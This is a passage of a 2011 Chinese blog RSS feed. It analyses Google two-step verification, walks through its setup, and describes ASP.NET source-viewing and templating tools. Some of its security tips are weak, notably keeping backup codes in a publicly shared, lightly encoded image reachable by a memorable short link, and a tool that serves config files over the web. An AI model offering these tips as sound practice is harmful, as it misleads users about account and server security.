一旦生成了程序特有密码，在Google账户中便不能再查看密码，只能够删除。虽然诸如Gtalk和Emparty等软件会用星号来显示密码，但想看到星号隐藏的密码并不困难。这也使得程序特有密码成了两步登陆的薄弱环节，因此建议，最好使用两个Google账户，一个用于邮件等重要事务，另外一个账号专门用于不能进行两步登陆的场合。]]></description>
			<content:encoded><![CDATA[<p>前两天写了篇关于<a href="http://chensd.com/2011-03/google-2-steps-verification.html" target="_blank">Google两步登陆的介绍文章</a>，在<a href="http://twitter.com/#!/Woo997/status/42749365391081472" target="_blank">推上</a>和<a href="http://www.cnbeta.com/articles/136126.htm" target="_blank">cnBeta</a>上都有不少人质疑其安全性，主要是因为对电信运营商的不信任。两步登陆用了两天多了，今天早上也专门试了试它的一些情况，在这里刚好总结一下。</p>
<p>设置为两步登陆后，完成第二步登陆的数字码有三种途径可以获得，一是通过手机上的程序生成，二是通过设定的手机接收短信，三是设置时生成的备用数字验证码。此外，利用程序特有密码（Application-specific Password）也是一个访问Google账户中数据的方法，下面分别从这四方面来分别分析它的安全性。</p>
<p>需要说明的是，<strong>对于设置了两步登陆的账号，单独得到其账户密码和数字验证码都是没有用的</strong>，而且，通过程序生成和短信接收得到的六位数字验证码还有一个时效限制。<span id="more-1369"></span></p>
<h2>一、手机程序生成数字码的安全性</h2>
<p>六位数字码每30秒就改变一次，具体哪一秒改变，不同的设备不一样，时间是数字码生成中的一个很重要的变量，无论是是关闭程序还是如何，只要是30秒内，生成的数字码是不变的。但这并不意味着数字码被猜中的机率为百万分之一，因为这个数字码是有“有效期”的，时间从两步登陆中第一步登陆数据的提交开始计算，从那开始，五分钟内生成的共计10个数字验证码中任意一个都可以辅助完成登陆，也就是说，数字码验证被突破的机率应该是十万分之一。这一点也是用户无法控制的，保密工作的重点不在这一步。</p>
<p>Android平台上用于生成六位数字码的程序Google Authenticator，只有一个权限要求，即控制振动器——成功的在添加一个账号后，将振动以示提醒。在断开手机所有的网络后，仍然可以完成程序的安装，并可正常的添加账号用以进行两步登陆，亦可正常的生成数字码进行登陆，这意味着，在整个过程中，Google Authentication没有往Google的服务器传送任何数据，也即与手机本身的各项信息无关，只是用某种算法进行了一个计算。</p>
<p>为了验证生成的数字码的确与设备无关，在设置两步登陆时，同时使用两台手机扫描了那个QR码图，结果两台手机都可以辅助完成两步登陆。而且，两台手机生成的数字码也是一致的。这丙一次证明了数码验证码的生成与设备无关。</p>
<p>其实，在设置两步登陆中生成的用于扫描的QR码所加密的内容是一下如下的字符串：</p>
<blockquote><p>otpauth://totp/xxxxx@gmail.com?secret=5dytxxxxxxxdc3tb</p></blockquote>
<p>其关键内容有两个，一个是用户名，另外一个就是secret后的密钥，每一个账号的密钥是不变的。除了用QR码扫描的方式在Google Authenticatior添加账号外，也可以手动添加，手动添加时需要输入的，也是这两个信息。</p>
<p>现在的问题是，生成的数字码与用户名是否有关系，为了验证，在Google Authentication中手动添加一个账号，用户名随便，密钥使用上面的密钥。结果表明，只要密钥一样，无论用户名是什么，都生成一样的数字码。这意味着，六位数字码的生成只与那个secret密钥和时间相关，保护secret密钥就成为了保密的重心，好在Google Authentication中无法查看secret密钥。要想查看secret密钥，只有在登陆进Google账户后。</p>
<h3>保护措施</h3>
<p>这一步的保密有两个，一是保证secret密钥不外泄，二是保证用于生成数字码的设备不要被他人获取。主要为以下几点</p>
<ul>
<li><strong>不在任何地方粘贴含有secret的QR码图</strong></li>
<li>在不使用Google服务后，一定要注意点击右上角的<strong>登出（Sign Out）</strong></li>
<li><strong>在Google Authentication中添加数个账号，用户名随意（可以为任意字符，不限于邮箱格式），密钥为任意16位字符数字组合</strong>，以使即使获得这个设备，也要花精力去分辨到底哪个六位数字码为真</li>
<li>遇到突发情况时，尽量<strong>立即卸载设备上的Google Authentication程序</strong></li>
</ul>
<div id="attachment_1376" class="wp-caption aligncenter" style="width: 250px"><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/Android_Google_Authentication_UI.png" class="highslide-image" onclick="return hs.expand(this);"><img class="size-full wp-image-1376" title="Android_Google_Authentication_UI" src="http://chensd.com/wp-content/upfile/2011/03/Android_Google_Authentication_UI.png" alt="" width="240" height="400" /></a><p class="wp-caption-text">在Google Authenticator应用中添加多个干扰的无用账号，名称随意</p></div>
<p style="text-align: center;">
<h2>二、手机短信接收验证码的安全性</h2>
<p>这个是最为话柄的一个方法，因为需要使用短信接收六位数字码，而朝内电信运营商个个都有不良记录，并且这一步无法跳过，设置完成后，一旦删除备用手机号码，两步登陆也会自动失效，这一步的确有些不人性化。</p>
<p>不过，陌生人在登录到你的账号之前，只知道备用手机号的最后两位，虽然两步登陆设置过程中，Google推荐你用值得信任的人的号码作为备用短信接收号码，但如果你真用了你熟悉的人的号码，可能又是一个安全隐患。</p>
<h3>保护措施</h3>
<p>最好的办法是，<strong>在网上找一个朋友，确保只有自己知道这个人与自己的关系，然后借用其手机号为备用号码</strong>。这样，就算最了解你的人，依然无法弄清楚备用短信接收号码是多少，<strong>如果你可以找到一个手机尾号与你某个熟人的号码一致的网友，那就更具迷惑性了</strong>。而且，两步登陆的第二步有超时时间，大约是五到十分钟，我相信，在这个时间段时做一次全国范围的短信搜索，还是非常有难度的。</p>
<div id="attachment_1377" class="wp-caption aligncenter" style="width: 360px"><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/3-way-to-login-google-accounts-with-2-steps-verification.png" class="highslide-image" onclick="return hs.expand(this);"><img class="size-full wp-image-1377" title="3-way-to-login-google-accounts-with-2-steps-verification" src="http://chensd.com/wp-content/upfile/2011/03/3-way-to-login-google-accounts-with-2-steps-verification.png" alt="" width="350" height="184" /></a><p class="wp-caption-text">两步登陆会提示备用手机号码的末两位</p></div>
<p style="text-align: center;">
<h2>三、备用数字验证码</h2>
<p>这个方法是在以上两个方法都无法登陆的时候用的，Google提供了10个八位数字验证码，每个号码可以使用一次，Google推荐你打印出来，不过这可不是个什么好办法。如何保护好它成了最麻烦的一点。</p>
<h3>保护措施</h3>
<p>为了确保这10个八位数字验证码的安全性，建议按如下几步进行操作</p>
<ul>
<li>1、<strong>将数字码录入到一个文本文件，并将进行基础性编码</strong>，例如，将所有出现3的地方换成5，将所有出现5的地方换成3</li>
<li>2、使用截图软件将第一步的结果进行截图，得到一个图片</li>
<li>3、<strong>使用winrar等工具，将这个图片压缩，并设置密码</strong>，一定要设置一个与Google账户不同的密码，得到的压缩包文件名一定要随意，如“新建 文本文档.rar”</li>
<li>5、将这个图片传到可以永久保存的网盘上，并将其共享（注意不要选择如115等有共享期限限制的网盘），记下共享地址</li>
<li>6、找一个可以自定义的缩短网址工具，将第五步的共享地址进行缩短，这个网址一定要记牢。<a href="http://snipurl.com" target="_blank">http://snipurl.com</a>就是个可以进行自定义的网址缩短工具，如缩短的最终结果为<a href="http://snipurl.com/wodemimazaizheli" target="_self">http://snipurl.com/wodemimazaizheli</a></li>
</ul>
<div id="attachment_1378" class="wp-caption aligncenter" style="width: 210px"><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/used-bakup-verification-codes.png" class="highslide-image" onclick="return hs.expand(this);"><img class="size-full wp-image-1378" title="used-bakup-verification-codes" src="http://chensd.com/wp-content/upfile/2011/03/used-bakup-verification-codes.png" alt="" width="200" height="93" /></a><p class="wp-caption-text">备用八位数字验证码提供了十次机会</p></div>
<p>这样，其它方法都无法登陆，或者登陆途径被破坏后，就可以打开<a href="http://snipurl.com/wodemimazaizheli" target="_self">http://snipurl.com/wodemimazaizheli</a>，然后下载备用验证八位数字码图——可别忘了你还对它进行了基础性的编码。</p>
<h2>四、真正的危险：程序特有密码（Application-specific password）</h2>
<p>因为有些程序是不支持两步登陆的，比如桌面版Gtalk、Empathy、Picasa，甚至Chrome浏览器的同步功能，为了使这些程序能够正常的通过Google账户验证，需要为其生成一个程序特有密码，而这个密码，却可以用在任何地方，虽然不能用它来登陆Google账户和Gmail，但却可以来完成邮件客户端的验证，再使用邮件客户端来收发邮件。</p>
<p>一旦生成了程序特有密码，在Google账户中便不能再查看密码，只能够删除。虽然诸如Gtalk和Emparty等软件会用星号来显示密码，但想看到星号隐藏的密码并不困难。这也使得程序特有密码成了两步登陆的薄弱环节，因此建议，最好使用两个Google账户，一个用于邮件等重要事务，另外一个账号专门用于不能进行两步登陆的场合。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-03/why-2-step-verification-is-safe.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>体验Google的两步登陆（2-Steps-Verification）</title>
		<link>http://chensd.com/2011-03/google-2-steps-verification.html</link>
		<comments>http://chensd.com/2011-03/google-2-steps-verification.html#comments</comments>
		<pubDate>Wed, 02 Mar 2011 00:43:13 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[胡说八道]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1300</guid>
		<description><![CDATA[很久前都听说了Google推出的两步登陆服务，虽然一段时间前就看到Google Accounts页面出现了Using 2-step verification的连接，但点进去都是说稍候，直到今天中午，终于变成了可以设置，于是毫不犹豫，马上开始体验。 在Google Accounts页面，点击“Using 2-step Verification”可以看到介绍，介绍说只要三步，但实际上却并非如此。 点击“Set up 2-step verification”开始设置。首先是选择设备，点击“Next”继续。 接下来出来了一个QR码，其实现在你需要在设备上下载Google Authenticator软件，然后打开Google Authenticator，点击Scan account barcode按钮，扫描上图中的QR码，Google Authenticator会列出邮件名及一个六位数字。 扫描完成后，点击“Next”，再将六位数字填入，点击“Verify”，通过后即可点击“Next”继续。 至此对于设备的设置就已经完成了，不过Google提示你，当你的设备不能用（不能正常的运行Google Autenticator程序等），或者丢失，亦或被盗时，该如何进行登陆呢？接下来就是进行一些备用办法的设置。 Google提供两种补救办法，一是给你一个Verification Codes，最好是将这些数字截图保存或者打印出来。 另外一个办法是由你提供一个备用手机号码，当无法利用Google Authenticator生成六位数字码时，便可以利用这个手机接收六位数字码，可以是同一部手机，也可以是另外的，但Google建议最好是另外一个你可以信任的号码，大多数国家的手机号都在支持的范围，天朝竟然也不例外，不过如果你和我一样是个联通的号码，就会比较惨了——点击一次后，就慢慢等吧，可别像我一样点了好几次，半天没有收到，突然一下蹦出五六条。输入验证数字码后，点击“Next”完成设置。 因为我的这个账号绑定到了Nexus One上，所以Google提示我需要一个Application-Specific passwords，以用来确认这些设备。如果你同时还在其它不能进行两步登陆的地方使用Google账户，也需要为为之生成一个这样的密码。如果使用Google账号的服务用的是OAuth登陆，则不需要。 设置就基本完成了。在蓝色的点击“Turn on 2-step verification”按钮后，就真正的打开两步登陆设置了。 完成设置后，现在处于登陆状态的Google账户会跳出，然后就可以开始第一次的旅程了。输入平时登陆的密码后。会提示还需要输入使用Google Authenticator生成的六位数字码， 完成两步登陆后，Google提示需要生成一个application-specific passwords，因为很多软件无法进行两步登陆，例如Gmail手机版、Picasa桌面版等，为了使用这些软件，需要在这些软件下一次从Google获取资料时输入这个密码。 例如，这里为Nexus One上的Gmail生成一个密码，在完成两步登陆后，Nexus One上的Gmail上会要求输入密码，这时候输入平时的密码是无法登陆的，必须输入生成的Application-specific passwords。这个十数位的密码包含数字和字母，并且中间隔几个空格（空格不是密码，只是作隔开用）。 以后在登陆时，两步登陆便要求使用Google Authenticator生成的六位数字码，或者也可以使用设置的备用电话通过短信（亦或通过电话）接收一个六位数字码。这才能真正的完成两步登陆。 在使用中发现，手机上的Google Authenticator并不依赖网络。其实这个两步登陆与使用了很久的游戏密保工具类似，只不过以前的密保需要掏钱购买一个专门用来生成数字码的设备，而Google则提供一个软件来代替这个设备，用户便可以以0现金成本的代价来使用了——当然，Google两步登陆却提供了更多的补救方法。 想更好的保护两步登录的安全性，请延伸阅读：Google两步登陆的安全性分析与保护措施]]></description>
			<content:encoded><![CDATA[<p>很久前都听说了Google推出的两步登陆服务，虽然一段时间前就看到<a href="http://google.com/accounts" target="_blank">Google Accounts</a>页面出现了Using 2-step verification的连接，但点进去都是说稍候，直到今天中午，终于变成了可以设置，于是毫不犹豫，马上开始体验。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/1_2-steps-in-google-accounts-page1.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1305" title="1_2-steps-in-google-accounts-page" src="http://chensd.com/wp-content/upfile/2011/03/1_2-steps-in-google-accounts-page1.png" alt="" width="264" height="150" /></a></p>
<p>在<a href="http://google.com/accounts" target="_blank">Google Accounts</a>页面，点击“Using 2-step Verification”可以看到介绍，介绍说只要三步，但实际上却并非如此。<span id="more-1300"></span></p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/2_2-step-introduction.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1306" title="2_2-step-introduction" src="http://chensd.com/wp-content/upfile/2011/03/2_2-step-introduction.png" alt="" width="267" height="282" /></a></p>
<p>点击“Set up 2-step verification”开始设置。首先是选择设备，点击“Next”继续。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/4_2-steps-scan-QR.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1307" title="4_2-steps-scan-QR" src="http://chensd.com/wp-content/upfile/2011/03/4_2-steps-scan-QR.png" alt="" width="379" height="370" /></a></p>
<p>接下来出来了一个QR码，其实现在你需要在设备上下载<a href="https://market.android.com/details?id=com.google.android.apps.authenticator&amp;feature=search_result" target="_blank">Google Authenticator</a>软件，然后打开Google Authenticator，点击Scan account barcode按钮，扫描上图中的QR码，Google Authenticator会列出邮件名及一个六位数字。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/7-2-steps-Android-get-code.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1308" title="7-2-steps-Android-get-code" src="http://chensd.com/wp-content/upfile/2011/03/7-2-steps-Android-get-code.png" alt="" width="480" height="400" /></a></p>
<p>扫描完成后，点击“Next”，再将六位数字填入，点击“Verify”，通过后即可点击“Next”继续。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/8_2-steps-code-verify.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1309" title="8_2-steps-code-verify" src="http://chensd.com/wp-content/upfile/2011/03/8_2-steps-code-verify.png" alt="" width="247" height="212" /></a></p>
<p>至此对于设备的设置就已经完成了，不过Google提示你，当你的设备不能用（不能正常的运行Google Autenticator程序等），或者丢失，亦或被盗时，该如何进行登陆呢？接下来就是进行一些备用办法的设置。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/9_2-steps-get-backup-options.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1310" title="9_2-steps-get-backup-options" src="http://chensd.com/wp-content/upfile/2011/03/9_2-steps-get-backup-options.png" alt="" width="320" height="197" /></a></p>
<p>Google提供两种补救办法，一是给你一个Verification Codes，最好是将这些数字截图保存或者打印出来。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/10_2-steps-backup-options.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1311" title="10_2-steps-backup-options" src="http://chensd.com/wp-content/upfile/2011/03/10_2-steps-backup-options.png" alt="" width="329" height="322" /></a></p>
<p>另外一个办法是由你提供一个备用手机号码，当无法利用Google Authenticator生成六位数字码时，便可以利用这个手机接收六位数字码，可以是同一部手机，也可以是另外的，但Google建议最好是另外一个你可以信任的号码，大多数国家的手机号都在支持的范围，天朝竟然也不例外，不过如果你和我一样是个联通的号码，就会比较惨了——点击一次后，就慢慢等吧，可别像我一样点了好几次，半天没有收到，突然一下蹦出五六条。输入验证数字码后，点击“Next”完成设置。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/12_2-steps-application-specific-passwords.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1312" title="11_2-steps-test-phone" src="http://chensd.com/wp-content/upfile/2011/03/11_2-steps-test-phone.png" alt="" width="397" height="319" /></a></p>
<p>因为我的这个账号绑定到了Nexus One上，所以Google提示我需要一个Application-Specific passwords，以用来确认这些设备。如果你同时还在其它不能进行两步登陆的地方使用Google账户，也需要为为之生成一个这样的密码。如果使用Google账号的服务用的是OAuth登陆，则不需要。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/12_2-steps-application-specific-passwords.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1313" title="12_2-steps-application-specific-passwords" src="http://chensd.com/wp-content/upfile/2011/03/12_2-steps-application-specific-passwords.png" alt="" width="349" height="238" /></a></p>
<p>设置就基本完成了。在蓝色的点击“Turn on 2-step verification”按钮后，就真正的打开两步登陆设置了。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/13_2-steps-turn-on.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1314" title="13_2-steps-turn-on" src="http://chensd.com/wp-content/upfile/2011/03/13_2-steps-turn-on.png" alt="" width="450" height="168" /></a></p>
<p>完成设置后，现在处于登陆状态的Google账户会跳出，然后就可以开始第一次的旅程了。输入平时登陆的密码后。会提示还需要输入使用Google Authenticator生成的六位数字码，</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/15_2-steps-login.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1315" title="15_2-steps-login" src="http://chensd.com/wp-content/upfile/2011/03/15_2-steps-login.png" alt="" width="438" height="107" /></a></p>
<p>完成两步登陆后，Google提示需要生成一个application-specific passwords，因为很多软件无法进行两步登陆，例如Gmail手机版、Picasa桌面版等，为了使用这些软件，需要在这些软件下一次从Google获取资料时输入这个密码。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/17_2-steps-set-application-specific-passwords.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1318" title="17_2-steps-set-application-specific-passwords" src="http://chensd.com/wp-content/upfile/2011/03/17_2-steps-set-application-specific-passwords.png" alt="" width="467" height="400" /></a></p>
<p>例如，这里为Nexus One上的Gmail生成一个密码，在完成两步登陆后，Nexus One上的Gmail上会要求输入密码，这时候输入平时的密码是无法登陆的，必须输入生成的Application-specific passwords。这个十数位的密码包含数字和字母，并且中间隔几个空格（空格不是密码，只是作隔开用）。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/03/18_2-steps-get-device-pwd.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1319" title="18_2-steps-get-device-pwd" src="http://chensd.com/wp-content/upfile/2011/03/18_2-steps-get-device-pwd.png" alt="" width="323" height="183" /></a></p>
<p>以后在登陆时，两步登陆便要求使用Google Authenticator生成的六位数字码，或者也可以使用设置的备用电话通过短信（亦或通过电话）接收一个六位数字码。这才能真正的完成两步登陆。</p>
<p>在使用中发现，手机上的Google Authenticator并不依赖网络。其实这个两步登陆与使用了很久的游戏密保工具类似，只不过以前的密保需要掏钱购买一个专门用来生成数字码的设备，而Google则提供一个软件来代替这个设备，用户便可以以0现金成本的代价来使用了——当然，Google两步登陆却提供了更多的补救方法。</p>
<p>想更好的保护两步登录的安全性，请延伸阅读：<a href="http://chensd.com/2011-03/why-2-step-verification-is-safe.html" target="_self">Google两步登陆的安全性分析与保护措施</a></p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-03/google-2-steps-verification.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ASP.NET源码阅读小工具：ViewCode</title>
		<link>http://chensd.com/2011-02/asp-dot-net-source-tools-viewcode.html</link>
		<comments>http://chensd.com/2011-02/asp-dot-net-source-tools-viewcode.html#comments</comments>
		<pubDate>Mon, 28 Feb 2011 03:02:35 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[下载]]></category>
		<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1284</guid>
		<description><![CDATA[最近几天看了不少源码，因为源码存在笔记本上，而有时候却要从另外一个电脑上看，于是折腾了一个小工具，以从其它的机器上方便的使用浏览器看ASP.NET的源码，闲着也是闲着，就放到了这里来。 工具分为两个aspx页面和一个inc文件，功能分别是： ViewCode.aspx：查看其所在文件夹及子目录内所有ASP.NET文件的源码，支持的文件类型包括aspx、master、ascx、htm、html、css、aspx.cs、txt、config； AddViewCodeLink.aspx：给其当前文件夹及子目录内所有aspx文件末尾添加一段代码，实现对ViewCode.inc的引用，表现上是添加一个ViewCode超链接； ViewCode.inc：这是添加到aspx文件末尾的一段代码，作用是向ViewCode.aspx传入当前文件的绝对路径，以在ViewCode.aspx中显示其代码； 使用很简单，将其放到aspx源码所在文件夹即可。 ViewCode源码下载]]></description>
			<content:encoded><![CDATA[<p>最近几天看了不少源码，因为源码存在笔记本上，而有时候却要从另外一个电脑上看，于是折腾了一个小工具，以从其它的机器上方便的使用浏览器看ASP.NET的源码，闲着也是闲着，就放到了这里来。</p>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/02/View_ASPNET_Page_Code.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter" title="ViewCode.aspx" src="http://chensd.com/wp-content/upfile/2011/02/View_ASPNET_Page_Code.png" alt="ViewCode.aspx" width="253" height="255" /></a><br />
工具分为两个aspx页面和一个inc文件，功能分别是：</p>
<ul>
<li>ViewCode.aspx：查看其所在文件夹及子目录内所有ASP.NET文件的源码，支持的文件类型包括aspx、master、ascx、htm、html、css、aspx.cs、txt、config；</li>
<li>AddViewCodeLink.aspx：给其当前文件夹及子目录内所有aspx文件末尾添加一段代码，实现对ViewCode.inc的引用，表现上是添加一个ViewCode超链接；</li>
<li>ViewCode.inc：这是添加到aspx文件末尾的一段代码，作用是向ViewCode.aspx传入当前文件的绝对路径，以在ViewCode.aspx中显示其代码；<span id="more-1284"></span></li>
</ul>
<p><a class="highslide-image" onclick="return hs.expand(this);" href="http://chensd.com/wp-content/upfile/2011/02/Add_ViewCode_Link.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1133" title="AddViewCodeLink.aspx" src="http://chensd.com/wp-content/upfile/2011/02/Add_ViewCode_Link.png" alt="AddViewCodeLink.aspx" width="300" height="240" /></a><br />
使用很简单，将其放到aspx源码所在文件夹即可。</p>
<p><a rel="attachment wp-att-1291" href="http://chensd.com/2011-02/asp-dot-net-source-tools-viewcode.html/viewcode_aspnet">ViewCode源码下载</a></p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-02/asp-dot-net-source-tools-viewcode.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET中五种实现模板功能的方法</title>
		<link>http://chensd.com/2011-02/5-methods-to-achieve-template-in-asp-net.html</link>
		<comments>http://chensd.com/2011-02/5-methods-to-achieve-template-in-asp-net.html#comments</comments>
		<pubDate>Wed, 23 Feb 2011 14:48:08 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1264</guid>
		<description><![CDATA[在追求风格一致的项目中，无论是UI设计还是程序代码，都希望尽量更多的重用，一来修改方便，二来提高效率。对于WEB程序实现，设计的重用更多的时候也是代码的重用，在完成前期的工作后，如果后期能够模套用模板一样来进行，那将大大利于项目的进行。 为了能够实现模板这个功能，在ASP.NET 1.x中提供了用户控件（User Control），到了ASP.NET 2.0还出现了母版（Master Page），除此之外，还有三种方法可以达到类似的目的，具体实现却各有优点。 一、抄在前面 有一回对我说道，“你读过书么？”我略略点一点头。他说，“读过书，……我便考你一考。茴香豆的茴字，怎样写的？”我想，讨饭一样的人，也配考我么？便回过脸去，不再理会。孔乙己等了许久，很恳切的说道，“不能写罢？……我教给你，记着！这些字应该记着。将来做掌柜的时候，写账要用。”我暗想我和掌柜的等级还很远呢，而且我们掌柜也从不将茴香豆上账；又好笑，又不耐烦，懒懒的答他道，“谁要你教，不是草头底下一个来回的回字么？”孔乙己显出极高兴的样子，将两个指头的长指甲敲着柜台，点头说，“对呀对呀！……回字有四样写法，你知道么？”我愈不耐烦了，努着嘴走远。孔乙己刚用指甲蘸了酒，想在柜上写字，见我毫不热心，便又叹一口气，显出极惋惜的样子。 ——周树人《孔乙己》·1919年 二、实现方法 为了方便理解，在这里将分别使用这五种方法来完成如下的内容的页面，页面分为三部分，上半部分为header，下半部分为footer，要求将这两部分模板化，具体各页面只需要对中间的内容进行指定即可。本文最末提供了所有源代码的下载。 1、使用母版方法实现 母版是在ASP.NET 2.0以后才出现的，使用母版时，相当于将页面的整体结构先构架出来，将各个页不同的位置放置一个contentplaceholder控件，并用ID区别之，套用母版时，只需要声明来自某母版，然后将区别于其它页的部分用Content控件组织起来，再指出它应该出现的位置的contentplaceholder ID，即可完成设计。 母版页就像是在一个完成的页面中挖空，然后在具体页面设计时再填空。空的个数可以在母版页中进行定义。 在Visual Studio 2005中新建一个网站，为了方便，我们将对各部分的样式独立一到个样式表中，在解决方案管理器中添加一个新项，模板中选择样式表，命名为style.css，内容如下： body { background-color:#bbb; } #header { background-color:#aaa; text-align:center; } #footer { background-color:#aaa; text-align:left; } 再在解决方案管理器中添加一个新项，模板选择“母版页”，命名为TestMasterPage.master，切换到“源视图”，在&#60;head&#62;和&#60;/head&#62;中添加如下一行，以引用样式表： &#60;link href = &#8220;style.css&#8221; rel = &#8220;stylesheet&#8221; type = &#8220;text/css&#8221; /&#62; 然后在&#60;form&#62;和&#60;/form&#62;之间添加如下代码： &#60;div&#62; &#60;div id = &#8220;header&#8221;&#62; &#60;h2&#62;Template Test ASP.NET Site&#60;/h2&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>在追求风格一致的项目中，无论是UI设计还是程序代码，都希望尽量更多的重用，一来修改方便，二来提高效率。对于WEB程序实现，设计的重用更多的时候也是代码的重用，在完成前期的工作后，如果后期能够模套用模板一样来进行，那将大大利于项目的进行。</p>
<p>为了能够实现模板这个功能，在ASP.NET 1.x中提供了用户控件（User Control），到了ASP.NET 2.0还出现了母版（Master Page），除此之外，还有三种方法可以达到类似的目的，具体实现却各有优点。</p>
<h3>一、抄在前面</h3>
<p>有一回对我说道，“你读过书么？”我略略点一点头。他说，“读过书，……我便考你一考。茴香豆的茴字，怎样写的？”我想，讨饭一样的人，也配考我么？便回过脸去，不再理会。孔乙己等了许久，很恳切的说道，“不能写罢？……我教给你，记着！这些字应该记着。将来做掌柜的时候，写账要用。”我暗想我和掌柜的等级还很远呢，而且我们掌柜也从不将茴香豆上账；又好笑，又不耐烦，懒懒的答他道，“谁要你教，不是草头底下一个来回的回字么？”孔乙己显出极高兴的样子，将两个指头的长指甲敲着柜台，点头说，“对呀对呀！……回字有四样写法，你知道么？”我愈不耐烦了，努着嘴走远。孔乙己刚用指甲蘸了酒，想在柜上写字，见我毫不热心，便又叹一口气，显出极惋惜的样子。</p>
<p style="text-align: right;">——周树人《<a href="http://zh.wikisource.org/zh-hans/%E5%AD%94%E4%B9%99%E5%B7%B1" target="_blank">孔乙己</a>》·1919年</p>
<h3>二、实现方法</h3>
<p>为了方便理解，在这里将分别使用这五种方法来完成如下的内容的页面，页面分为三部分，上半部分为header，下半部分为footer，要求将这两部分模板化，具体各页面只需要对中间的内容进行指定即可。本文最末提供了所有源代码的下载。<span id="more-1264"></span></p>
<p><a href="http://chensd.com/wp-content/upfile/2011/02/TemplateTest_site_shutcat.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1103" title="aoisola" src="http://chensd.com/wp-content/upfile/2011/02/TemplateTest_site_shutcat.png" alt="aoisola" width="350" height="201" /></a></p>
<h4>1、使用母版方法实现</h4>
<p>母版是在ASP.NET 2.0以后才出现的，使用母版时，相当于将页面的整体结构先构架出来，将各个页不同的位置放置一个contentplaceholder控件，并用ID区别之，套用母版时，只需要声明来自某母版，然后将区别于其它页的部分用Content控件组织起来，再指出它应该出现的位置的contentplaceholder ID，即可完成设计。</p>
<p>母版页就像是在一个完成的页面中挖空，然后在具体页面设计时再填空。空的个数可以在母版页中进行定义。</p>
<p>在Visual Studio 2005中新建一个网站，为了方便，我们将对各部分的样式独立一到个样式表中，在解决方案管理器中添加一个新项，模板中选择样式表，命名为style.css，内容如下：</p>
<blockquote><p>body<br />
{<br />
background-color:#bbb;<br />
}<br />
#header<br />
{<br />
background-color:#aaa;<br />
text-align:center;<br />
}</p>
<p>#footer<br />
{<br />
background-color:#aaa;<br />
text-align:left;<br />
}</p></blockquote>
<p>再在解决方案管理器中添加一个新项，模板选择“母版页”，命名为TestMasterPage.master，切换到“源视图”，在&lt;head&gt;和&lt;/head&gt;中添加如下一行，以引用样式表：</p>
<p>&lt;link href = &#8220;style.css&#8221; rel = &#8220;stylesheet&#8221; type = &#8220;text/css&#8221; /&gt;</p>
<p>然后在&lt;form&gt;和&lt;/form&gt;之间添加如下代码：</p>
